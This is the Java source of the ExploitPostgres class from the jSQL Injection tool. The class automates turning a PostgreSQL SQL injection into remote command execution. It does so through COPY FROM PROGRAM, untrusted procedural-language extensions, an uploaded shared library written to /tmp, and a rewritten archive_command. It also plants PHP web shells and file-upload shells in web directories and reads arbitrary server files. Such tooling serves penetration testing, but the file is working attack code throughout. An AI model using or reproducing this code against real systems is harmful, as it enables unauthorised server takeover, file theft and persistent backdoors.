View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.InjectionFailureException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.injection.engine.model.EngineYaml;
15  import com.jsql.model.suspendable.SuspendableGetRows;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.File;
25  import java.io.FileInputStream;
26  import java.io.IOException;
27  import java.io.InputStream;
28  import java.net.http.HttpResponse;
29  import java.util.Arrays;
30  import java.util.List;
31  import java.util.Objects;
32  import java.util.UUID;
33  import java.util.function.BinaryOperator;
34  
35  public class ExploitPostgres {
36  
37      private static final Logger LOGGER = LogManager.getRootLogger();
38      private final InjectionModel injectionModel;
39      private String nameExtension = StringUtils.EMPTY;
40      private final ModelYamlPostgres modelYaml;
41  
42      public ExploitPostgres(InjectionModel injectionModel) {
43          this.injectionModel = injectionModel;
44          var yaml = new Yaml();
45          this.modelYaml = yaml.loadAs(
46              injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
47              ModelYamlPostgres.class
48          );
49      }
50  
51      public void createUdf(String nameExtension) throws JSqlException {
52          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53  
54          if (StringUtils.isNotEmpty(nameExtension)) {
55              this.setRceExtensionWhenActive(false, nameExtension);
56          } else {
57              var isUdfActive = this.setRceProgramWhenActive();
58              isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59              isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60              this.setRceArchiveWhenActive(isUdfActive);
61          }
62      }
63  
64      private String getCreateBasicExtension() {
65          String plCreateExtension = null;
66          if (this.nameExtension.startsWith("plpython")) {
67              plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68          } else if (this.nameExtension.startsWith("plperl")) {
69              plCreateExtension = this.modelYaml.getUdf().getPlperl();
70          } else if (this.nameExtension.startsWith("pltcl")) {
71              plCreateExtension = this.modelYaml.getUdf().getPltcl();
72          } else if (this.nameExtension.startsWith("plr")) {
73              plCreateExtension = this.modelYaml.getUdf().getPlr();
74          } else if (this.nameExtension.startsWith("pllua")) {
75              plCreateExtension = this.modelYaml.getUdf().getPllua();
76          } else if (this.nameExtension.startsWith("plsh")) {
77              plCreateExtension = this.modelYaml.getUdf().getPlsh();
78          }
79          return plCreateExtension;
80      }
81  
82      private boolean setRceProgramWhenActive() {
83          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84          var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85          this.injectionModel.injectWithoutIndex(String.format(
86              this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87              nameTempTable
88          ), ResourceAccess.TBL_CREATE);
89          this.injectionModel.injectWithoutIndex(String.format(
90              this.modelYaml.getUdf().getProgram().getRun(),
91              nameTempTable,
92              ResourceAccess.WEB_CONFIRM_CMD
93          ), ResourceAccess.TBL_FILL);
94          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95              this.modelYaml.getUdf().getProgram().getGetResult(),
96              nameTempTable
97          ), ResourceAccess.TBL_READ);
98          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
101                 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceProgramCmd(command, terminalID)
102             ));
103             return true;
104         }
105         return false;
106     }
107 
108     private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
109         if (isUdfActive) {
110             return true;
111         }
112         if (StringUtils.isNotEmpty(nameExtension)) {
113             this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
114             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
115         } else {
116             this.nameExtension = StringUtils.EMPTY;
117             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
118             for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
119                 if (StringUtils.isEmpty(this.nameExtension)) {
120                     this.nameExtension = this.getExtensionWhenCreated(ext);
121                 }
122             }
123             if (StringUtils.isEmpty(this.nameExtension)) {
124                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
125                 return false;
126             }
127         }
128 
129         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
130 
131         String plCreateBasicExtension = this.getCreateBasicExtension();
132         if (plCreateBasicExtension != null) {
133             this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
134         } else if (this.nameExtension.startsWith("sql")) {
135             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
136             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
137             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
138             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
139             var result = this.injectionModel.getResourceAccess().getResult(
140                 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
141                 ResourceAccess.BODY_CONFIRM
142             );
143             if (!"1337".equals(result)) {
144                 return false;
145             }
146         }
147 
148         var functions = this.injectionModel.getResourceAccess().getResult(
149             this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
150             ResourceAccess.BODY_CONFIRM
151         );
152         if (!functions.contains("exec_cmd")) {
153             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
154             return false;
155         }
156 
157         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
158         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
159             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceExtensionCmd(command, terminalID)
160         ));
161         return true;
162     }
163 
164     public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
165         if (isUdfActive) {
166             return true;
167         }
168 
169         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
170         this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
171         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
172             this.modelYaml.getUdf().getLibrary().getLoFromText(),
173             String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
174         ), ResourceAccess.ADD_LOID);
175         if (StringUtils.isEmpty(loid)) {
176             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
177             return false;
178         }
179         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
180         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
181             this.modelYaml.getUdf().getLibrary().getLoToFile(),
182             loid,
183             "/tmp/" + nameExploit
184         ), ResourceAccess.WRITE_LOID);
185         this.injectionModel.injectWithoutIndex(String.format(
186             this.modelYaml.getUdf().getLibrary().getCreateFunction(),
187             "/tmp/" + nameExploit
188         ), ResourceAccess.ADD_FUNC);
189         String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
190             this.modelYaml.getUdf().getLibrary().getRunFunc(),
191             ResourceAccess.WEB_CONFIRM_CMD + "%20"
192         ), "confirm");
193         if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
194             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
195             return false;
196         }
197         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
198         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
199             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceLibraryCmd(command, terminalID)
200         ));
201         return true;
202     }
203 
204     private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
205         if (isUdfActive) {
206             return;
207         }
208 
209         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
210         if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
211             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
212             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
213                 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceArchiveCmd(command, terminalID)
214             ));
215         }
216     }
217 
218     private static List<String> toHexChunks(String filename) throws JSqlException {
219         try {
220             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
221                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
222             ).readAllBytes();
223             return StringUtil.toHexChunks(fileData);
224         } catch (IOException e) {
225             throw new JSqlException(e);
226         }
227     }
228 
229     public String runRceLibraryCmd(String command, UUID uuidShell) {
230         String result;
231         try {
232             result = this.injectionModel.getResourceAccess().getResult(String.format(
233                 this.modelYaml.getUdf().getLibrary().getRunFunc(),
234                 command.replace(StringUtils.SPACE, "%20") + "%20"
235             ), ResourceAccess.RUN_FUNC);
236         } catch (JSqlException e) {
237             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
238         }
239         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
240             uuidShell,
241             result.trim() +"\n"  // missing newline on some extensions
242         ));
243         return result;
244     }
245 
246     private String runArchive(String command) throws JSqlException {
247         boolean isSetup = command == null;
248         String pathResult = "/tmp/cmd.txt";
249 
250         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
251         if (isSetup && !status.contains("on")) {
252             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
253             return StringUtils.EMPTY;
254         }
255 
256         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
257         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
258             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
259             pathConf
260         ), "conf#loid");
261         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
262             this.modelYaml.getUdf().getArchive().getGetConfLength(),
263             loidConf
264         ), "conf#size");
265 
266         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
267             this.modelYaml.getUdf().getArchive().getPutCmd(),
268             loidConf,
269             lengthConf,
270             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
271             pathResult
272         ), "conf#append");
273 
274         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
275             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
276             loidConf,
277             pathConf
278         ), "conf#write");
279         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
280 
281         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
282         if (isSetup && !cmdArchive.contains(pathResult)) {
283             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
284             return StringUtils.EMPTY;
285         }
286 
287         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
288         try {
289             Thread.sleep(750);  // wait for result as archiving is slow
290         } catch (InterruptedException e) {
291             LOGGER.log(LogLevelUtil.IGNORE, e, e);
292             Thread.currentThread().interrupt();
293         }
294         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
295             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
296             pathResult
297         ), "result#loid");
298         String result = this.injectionModel.getResourceAccess().getResult(String.format(
299             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
300             loidResult
301         ), "result#read");
302 
303         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
304             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
305             return StringUtils.EMPTY;
306         }
307         return result;
308     }
309 
310     private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
311         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
312         this.injectionModel.injectWithoutIndex(String.format(
313             this.modelYaml.getUdf().getExtension().getCreate(),
314             nameExtension
315         ), "body#add-ext");
316         String languages = this.injectionModel.getResourceAccess().getResult(
317             this.modelYaml.getUdf().getExtension().getLanguages(),
318             "body#confirm-ext"
319         );
320         if (languages.contains(nameExtension)) {
321             LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
322             return nameExtension;
323         }
324         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
325         return StringUtils.EMPTY;
326     }
327 
328     public String runRceArchiveCmd(String command, UUID uuidShell) {
329         String result;
330         try {
331             result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
332         } catch (JSqlException e) {
333             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
334         }
335         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
336             uuidShell,
337             result.trim() +"\n"  // missing newline on some extensions
338         ));
339         return result;
340     }
341 
342     public String runRceProgramCmd(String command, UUID uuidShell) {
343         String result;
344         try {
345             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
346             this.injectionModel.injectWithoutIndex(String.format(
347                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
348                 nameTempTable
349             ), ResourceAccess.TBL_CREATE);
350             this.injectionModel.injectWithoutIndex(String.format(
351                 this.modelYaml.getUdf().getProgram().getRun(),
352                 nameTempTable,
353                 command.replace(StringUtils.SPACE, "%20") +"%20"
354             ), ResourceAccess.TBL_FILL);
355             result = this.injectionModel.getResourceAccess().getResult(String.format(
356                 this.modelYaml.getUdf().getProgram().getGetResult(),
357                 nameTempTable
358             ), ResourceAccess.TBL_READ);
359         } catch (JSqlException e) {
360             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
361         }
362         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
363             uuidShell,
364             result.trim() +"\n"  // missing newline on some extensions
365         ));
366         return result;
367     }
368 
369     public String runRceExtensionCmd(String command, UUID uuidShell) {
370         String result;
371         try {
372             if ("sql".equals(this.nameExtension)) {
373                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
374                 this.injectionModel.injectWithoutIndex(String.format(
375                     this.modelYaml.getUdf().getSql().getRunFunc(),
376                     command.replace(StringUtils.SPACE, "%20")
377                 ), ResourceAccess.ADD_FUNC);
378                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
379                 result = this.injectionModel.getResourceAccess().getResult(String.format(
380                     this.modelYaml.getUdf().getSql().getResultCmd(),
381                     EngineYaml.TRAIL_SQL
382                 ), "body#result") +"\n";
383             } else {
384                 result = this.injectionModel.getResourceAccess().getResult(
385                     String.format(
386                         this.modelYaml.getUdf().getRunFunc(),
387                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
388                         EngineYaml.TRAIL_SQL
389                     ),
390                     ResourceAccess.UDF_RUN_CMD
391                 );
392             }
393         } catch (JSqlException e) {
394             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
395         }
396         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
397             uuidShell,
398             result.trim() +"\n"  // missing newline on some extensions
399         ));
400         return result;
401     }
402 
403     public String createWeb(String pathExploit, String urlExploit) {
404         String bodyExploit = StringUtil.base64Decode(
405                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
406             )
407             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
408             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
409 
410         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
411             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
412             bodyExploit.replace("'", "\"")
413         ), ResourceAccess.ADD_LOID);
414         if (StringUtils.isEmpty(loid)) {
415             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
416             return StringUtils.EMPTY;
417         }
418         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
419         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
420             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
421             loid,
422             pathExploit + nameExploit
423         ), ResourceAccess.WRITE_LOID);
424 
425         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
426             String result = this.injectionModel.getResourceAccess().callCommand(
427                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
428             );
429             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
430                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
431                 return StringUtils.EMPTY;
432             }
433             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
434             return urlSuccess;
435         };
436 
437         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
438     }
439 
440     public String createSql(String pathExploit, String urlExploit, String username, String password) {
441         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
442             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
443                 ResourceAccess.SQL_CONFIRM_CMD,
444                 null,
445                 urlSuccess,
446                 username,
447                 password,
448                 false
449             );
450             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
451                 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
452                 return urlSuccess;
453             }
454             return StringUtils.EMPTY;
455         };
456 
457         String bodyExploit = StringUtil.base64Decode(
458                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
459             )
460             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
461             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
462 
463         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
464             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
465             bodyExploit.replace("'", "\"")
466         ), ResourceAccess.ADD_LOID);
467         if (StringUtils.isEmpty(loid)) {
468             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
469             return StringUtils.EMPTY;
470         }
471         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
472         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
473             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
474             loid,
475             pathExploit + nameExploit
476         ), ResourceAccess.WRITE_LOID);
477 
478         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
479     }
480 
481     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
482         String bodyExploit = StringUtil.base64Decode(
483                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
484             )
485             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
486             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
487 
488         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
489             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
490             bodyExploit.replace("'", "\"")
491         ), ResourceAccess.ADD_LOID);
492         if (StringUtils.isEmpty(loid)) {
493             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
494             return;
495         }
496         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
497         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
498             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
499             loid,
500             pathExploit + nameExploit
501         ), ResourceAccess.WRITE_LOID);
502 
503         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
504             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
505                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
506                 if (result.body().contains(DataAccess.LEAD +"y")) {
507                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
508                 } else {
509                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
510                 }
511             } catch (InterruptedException e) {
512                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
513                 Thread.currentThread().interrupt();
514             } catch (IOException | JSqlException e) {
515                 throw new JSqlRuntimeException(e);
516             }
517             return urlSuccess;
518         };
519 
520         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
521     }
522 
523     public String getRead(String pathFile) throws AbstractSlidingException {
524         String resultToParse = StringUtils.EMPTY;
525         try {
526             resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
527                 String.format(
528                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
529                     pathFile
530                 ),
531                 new String[]{ StringUtils.EMPTY },
532                 false,
533                 1,
534                 MockElement.MOCK,
535                 ResourceAccess.FILE_READ
536             ));
537         } catch (InjectionFailureException e) {
538             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
539             var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
540                 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
541                 pathFile
542             ), ResourceAccess.ADD_LOID);
543             if (StringUtils.isNotEmpty(loid)) {
544                 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
545                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
546                     loid
547                 ), ResourceAccess.READ_LOID);
548             }
549             if (StringUtils.isEmpty(resultToParse)) {
550                 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
551                 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
552                 this.injectionModel.injectWithoutIndex(String.format(
553                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
554                     nameLibraryRandom
555                 ), ResourceAccess.TBL_DROP);
556                 this.injectionModel.injectWithoutIndex(String.format(
557                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
558                     nameLibraryRandom
559                 ), ResourceAccess.TBL_CREATE);
560                 this.injectionModel.injectWithoutIndex(String.format(
561                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
562                     nameLibraryRandom,
563                     pathFile
564                 ), ResourceAccess.TBL_FILL);
565                 resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
566                     String.format(
567                         this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
568                         nameLibraryRandom
569                     ),
570                     new String[]{ StringUtils.EMPTY },
571                     false,
572                     1,
573                     MockElement.MOCK,
574                     ResourceAccess.TBL_READ
575                 ));
576             }
577         }
578         return resultToParse;
579     }
580 
581     public ModelYamlPostgres getModelYaml() {
582         return this.modelYaml;
583     }
584 }